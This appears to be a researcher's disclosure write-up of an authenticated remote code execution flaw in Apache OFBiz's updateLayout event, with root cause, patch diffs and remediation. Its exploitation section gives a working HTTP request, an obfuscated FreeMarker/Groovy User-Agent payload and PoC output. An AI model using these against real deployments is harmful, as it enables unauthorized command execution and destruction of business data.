Skip to content

CVE-2026-84183: Apache OFBiz Content Manager VIEW-Only RCE in updateLayout

TL;DR

  • An Apache OFBiz account holding nothing but OFBTOOLS_VIEW and CONTENTMGR_VIEW could run operating-system commands as the ofbiz user.
  • updateLayout authorised a request-built Content object for the hard-coded CONTENT_CREATE operation, then modified different database records.
  • Production seed data grants CONTENT_CREATE for content with a RESPONSE purpose, so an existing RESPONSE record passes that check for a VIEW-only account.
  • The event rewrote a separately named DataResource as an FTL template pointing at OFBiz's access log, where an attacker-controlled User-Agent supplied code for showContent to evaluate.
  • CVE-2026-84183 affects Apache OFBiz before 24.09.08 and is fixed in 24.09.08, which routes the writes through the services that check permission properly.

Summary

  • CVE: CVE-2026-84183
  • Product: Apache OFBiz (Java ERP suite)
  • Vulnerability: Authenticated Remote Code Execution via Incorrect Authorization
  • Affected Versions: < 24.09.08
  • Fixed In: 24.09.08
  • Severity: Important (per Apache)
  • CVSS Severity: 8.8 (high, CISA-ADP)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Required Privilege: OFBTOOLS_VIEW and CONTENTMGR_VIEW
  • Advisory: Apache OFBiz CVE Announcements
  • Reported: August 2, 2026
  • NVD Published: November 5, 2026

Introduction

An account needs only OFBTOOLS_VIEW and CONTENTMGR_VIEW to enter OFBiz's Content Manager.

From there the write paths are mostly well behaved. They call generic services, and those services declare a permission-service that checks the operation against the record being changed. Turning a DataResource into a template is guarded harder still, behind CONTENTMGR_SUPER.

updateLayout stores entity values itself. Its permission check does not inspect either record it writes.

Root Cause Analysis

The excerpts below are from the tested release24.09 snapshot at commit b5ca713e.

The Check Runs Against a Value the Attacker Built

The route asks for a login and nothing else. No create, update, admin or super permission appears on it.

<!-- applications/content/webapp/content/WEB-INF/controller.xml -->
<request-map uri="updateLayout">
    <security auth="true" https="true"/>
    <event type="simple" invoke="updateLayout" path="component://content/minilang/layout/LayoutEvents.xml"/>
    <response name="success" type="view" value="EditLayout"/>
    <response name="error" type="view" value="EditLayout"/>
</request-map>

The updateLayout request map reaches an event that opens by assembling a Content value in memory and authorising that.

<!-- applications/content/minilang/layout/LayoutEvents.xml -->
<make-value entity-name="Content" value-field="currentContent"/>
<set-pk-fields map="parameters" value-field="currentContent"/>
<set-nonpk-fields map="parameters" value-field="currentContent"/>
<set field="context.currentContent" from-field="currentContent"/>
<set field="context.contentPurposeTypeId" from-field="parameters.contentPurposeTypeId"/>
<string-to-list list="targetOperationList" string="CONTENT_CREATE"/>
<set field="context.targetOperationList" from-field="targetOperationList"/>
<session-to-field field="context.userLogin" session-name="userLogin"/>
<call-service in-map-name="context" service-name="checkContentPermission">
    <result-to-field result-name="permissionStatus" field="permissionStatus"/>
</call-service>

In LayoutEvents.xml, make-value creates a fresh Content from request parameters without loading it from the database. The event checks the hard-coded CONTENT_CREATE operation and then updates records.

The normal CONTENTMGR entity check defaults to _ADMIN, which a VIEW-only caller cannot pass. The content-purpose branch supplies the grant instead.

A Seed Rule That Hands Over the Check

EntityPermissionChecker also matches on content purpose. It takes the supplied ID, loads that record's real purposes, and looks for a rule allowing the requested operation. Production seed data ships this one.

<!-- applications/datamodel/data/seed/ContentSeedData.xml -->
<ContentPurposeOperation contentPurposeTypeId="RESPONSE" contentOperationId="CONTENT_CREATE" roleTypeId="_NA_" statusId="_NA_" privilegeEnumId="CNT_PRV_NA_"/>

The seed rule uses _NA_ for the role and status, making both unconditional matches. Any content with a RESPONSE purpose satisfies CONTENT_CREATE for any caller. Naming an existing RESPONSE record in contentId lets a VIEW-only account pass the check.

The matcher reloads purposes by content ID, so the record itself must carry the RESPONSE purpose.

Then It Writes Two Unchecked Records

Past the check, the event stops using its synthetic object and starts using the database.

<!-- applications/content/minilang/layout/LayoutEvents.xml -->
<set field="content.contentId" from-field="parameters.contentId"/>
<find-by-primary-key entity-name="Content" value-field="content" map="content"/>
<set-nonpk-fields map="parameters" value-field="content"/>
<log level="info" message="content: ${content}"/>
<store-value value-field="content"/>
<field-to-request field="content.contentId" request-name="contentId"/>
<set field="dataResource.dataResourceId" from-field="parameters.dataResourceId"/>
<find-by-primary-key entity-name="DataResource" value-field="dataResource" map="dataResource"/>
<set-nonpk-fields map="parameters" value-field="dataResource"/>
<set field="dataResource.objectInfo" from-field="parameters.drObjectInfo"/>
<log level="info" message="dataResource: ${dataResource}"/>
<store-value value-field="dataResource"/>

Later in LayoutEvents.xml, the carrier content is loaded and rewritten with every matching request field. Then a DataResource named by a separate parameter is loaded and rewritten the same way. There is no CONTENT_UPDATE check on the first, no authorisation call at all on the second, and no requirement that the two were ever related. Because request-wide binding also writes dataResourceId onto the content, the same request creates the link needed to render them together.

Compare that with the service the interface normally uses. updateDataResource declares a permission service for UPDATE, and when the existing or requested resource carries a template type, that service requires CONTENTMGR_SUPER. updateLayout invokes neither, so it runs the operation the permission model guards most heavily, with no equivalent check.

From an Unauthorised Write to Command Execution

Rewriting a DataResource means choosing its type and where it points. OFBiz's shipped security configuration allows an OFBIZ_FILE resource to read from runtime/.

# framework/security/config/security.properties
content.data.ofbiz.file.allowed.paths=applications/,themes/,plugins/,runtime/

The runtime/ allow-list entry covers the access log written by OFBiz's Catalina configuration. The default pattern includes the quoted User-Agent header, which is attacker-controlled on every request.

The access log already exists and contains attacker-controlled text. Setting the DataResource to OFBIZ_FILE plus FTL and pointing it at today's access log turns it into a template. DataResourceWorker refuses ELECTRONIC_TEXT, SHORT_TEXT and LINK as template sources. It accepts OFBIZ_FILE. Rendering evaluates the file, and the FreeMarker whitelist permits FlexibleStringExpander.expandString, which recognises ${groovy:...} and runs it.

Tomcat escapes double quotes in logged headers, so the payload avoids them. Splitting execute as /exe/+/cute/ sidesteps the denied-scriptlet pattern. The ordinary authenticated showContent route then renders the carrier content and returns the output.

Impact

An account whose entire grant is two VIEW permissions executes commands as the OFBiz process user. That reaches the process's own files, its database credentials and any integration secrets it can read. It also gives the attacker the process's network position.

Exploitation permanently rewrites both selected records, so it is destructive to the business data named by those IDs.

Exploitation

Preconditions

  • Apache OFBiz before 24.09.08 and an account with OFBTOOLS_VIEW and CONTENTMGR_VIEW.
  • An existing Content record with a genuine RESPONSE purpose, to pass the check.
  • An existing DataResource that can be overwritten.
  • The shipped access log configuration and the runtime/ entry in the OFBIZ_FILE allowlist, or another template-readable file the attacker can get their own text into.

A qualifying carrier must come from the deployment's business data. Seed data supplies only the permissive RESPONSE rule. A VIEW-only account can find both IDs through the ordinary search screens because the Content and DataResource list forms run unscoped queries.

Manual Request

One request does the state change.

POST /content/control/updateLayout HTTP/1.1
Host: target.example:8443
Cookie: JSESSIONID=...; content.securedLoginId=...
X-Requested-With: XMLHttpRequest
X-CSRF-Token: ...
Content-Type: application/x-www-form-urlencoded

contentId=RESPONSE_CONTENT_ID&contentPurposeTypeId=RESPONSE&dataResourceId=DATA_RESOURCE_ID&dataResourceTypeId=OFBIZ_FILE&dataTemplateTypeId=FTL&mimeTypeId=text%2Fhtml&drObjectInfo=runtime%2Flogs%2Faccess_log.YYYY-MM-DD&isPublic=N

contentId is the permission carrier and the record that gets rewritten. dataResourceId is unrelated to it until this request links them.

The payload arrives separately, in a User-Agent header on any earlier request, and carries no double quote, backslash or newline so that Tomcat's header escaping leaves it intact.

<#assign e=r'${groovy:(/3f9c1a2b/+/7d4e5061/)+[/sh/,/-c/,new String((/6964/).decodeHex())].invokeMethod(/exe/+/cute/,null).text+(/3f9c1a2b/+/7d4e5061/)}'>${Static['org.apache.ofbiz.base.util.string.FlexibleStringExpander'].expandString(e,parameters)}

The command travels as hex, so /6964/ decodes to id inside the scriptlet. This avoids Tomcat's header escaping.

PoC

The PoC writes the payload through a User-Agent, repoints the DataResource at the access log and reads the command output through showContent.

python3 cve_2026_84183.py https://target:8443 ulv-reader 'password' ULV_RESPONSE ULV_TARGET -c id
  ___  _____ ____ ___ _____
 / _ \|  ___| __ )_ _|__  /
| | | | |_  |  _ \| |  / /
| |_| |  _| | |_) | | / /_
 \___/|_|   |____/___/____|
  Content Manager VIEW-only RCE via updateLayout  ·  CVE-2026-84183
  discovered by CryptoCat · cryptocat.me

 [+] authenticated as ulv-reader
 [*] Writing a double-quote-free FreeMarker payload through the User-Agent access log
 [*] Repointing ULV_TARGET at runtime/logs/access_log.2026-08-02 as OFBIZ_FILE/FTL
 [+] updateLayout accepted and showContent evaluated the template (runtime/logs/access_log.2026-08-02)
 [+] command output recovered through showContent
  ------------------------------------------------------------
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

Patch Diffing

The one-file fix, 4bae54df46, deletes the flawed check. It and the September follow-up are ancestors of the final 24.09.08 release tag.

// applications/content/minilang/layout/LayoutEvents.xml (updateLayout)
-<make-value entity-name="Content" value-field="currentContent"/>
-<set-pk-fields map="parameters" value-field="currentContent"/>
-<set-nonpk-fields map="parameters" value-field="currentContent"/>
-<set field="context.currentContent" from-field="currentContent"/>
+<!-- ... explanatory security comment omitted. -->
+<make-value entity-name="Content" value-field="content"/>
+<set-pk-fields map="parameters" value-field="content"/>
+<set-nonpk-fields map="parameters" value-field="content"/>
+<log level="info" message="content: ${content}"/>
+<map-to-map map="content" to-map="context"/>
 <set field="context.contentPurposeTypeId" from-field="parameters.contentPurposeTypeId"/>
-<string-to-list list="targetOperationList" string="CONTENT_CREATE"/>
-<set field="context.targetOperationList" from-field="targetOperationList"/>
 <session-to-field field="context.userLogin" session-name="userLogin"/>
-<call-service in-map-name="context" service-name="checkContentPermission">
-    <result-to-field result-name="permissionStatus" field="permissionStatus"/>
-</call-service>
+<call-service in-map-name="context" service-name="updateContent"/>
 <check-errors/>

The hard-coded CONTENT_CREATE operation and the bespoke permission call are both gone. The event now calls updateContent, which carries its own genericContentPermission declaration for UPDATE against the real record, so the check happens where it always should have.

The DataResource half gets the same treatment.

// applications/content/minilang/layout/LayoutEvents.xml (updateLayout)
-<set field="dataResource.dataResourceId" from-field="parameters.dataResourceId"/>
-<find-by-primary-key entity-name="DataResource" value-field="dataResource" map="dataResource"/>
+<make-value entity-name="DataResource" value-field="dataResource"/>
+<set-pk-fields map="parameters" value-field="dataResource"/>
 <set-nonpk-fields map="parameters" value-field="dataResource"/>
 <set field="dataResource.objectInfo" from-field="parameters.drObjectInfo"/>
 <log level="info" message="dataResource: ${dataResource}"/>
-<store-value value-field="dataResource"/>
-<field-to-request field="dataResource.dataResourceId" request-name="drDataResourceId"/>
+<map-to-map map="dataResource" to-map="context2"/>
+<session-to-field field="context2.userLogin" session-name="userLogin"/>
+<call-service in-map-name="context2" service-name="updateDataResource"/>
 <check-errors/>

Both store-value calls are replaced by service calls. That restores the CONTENTMGR_SUPER requirement on template-bearing resources as a side effect, because updateDataResource was always the thing enforcing it.

A September 4 follow-up, cfeb466b, applied permission checks to the sibling updateLayoutImage and cloneLayout events. It also limits FTL rendering to file and URL-backed resources. OFBIZ_FILE remains eligible for FTL rendering. Changing a resource into a template now requires CONTENTMGR_SUPER.

Remediation

Upgrade to Apache OFBiz 24.09.08 or later.

On an unpatched build, treat CONTENTMGR_VIEW as a write grant. Check the DataResource records behind your content for OFBIZ_FILE paired with a template type. That pairing is the state this exploit leaves behind.

Disclosure Timeline

  • August 2, 2026: Reported to the Apache OFBiz security team.
  • August 26, 2026: Apache committed the fix, routing both writes through the permission-checked services.
  • September 1, 2026: Apache assigned CVE-2026-84183 and shared the draft advisory.
  • November 3, 2026: Apache announced OFBiz 24.09.08, the first released version containing the fix.
  • November 4, 2026: Apache publicly announced CVE-2026-84183 in its consolidated OFBiz CVE notice.
  • November 5, 2026: CVE.org and NVD published CVE-2026-84183.

Conclusion

The RESPONSE rule lets a VIEW-only account pass the mismatched CONTENT_CREATE check. updateLayout then writes an unchecked Content record and DataResource, reaching code execution.

References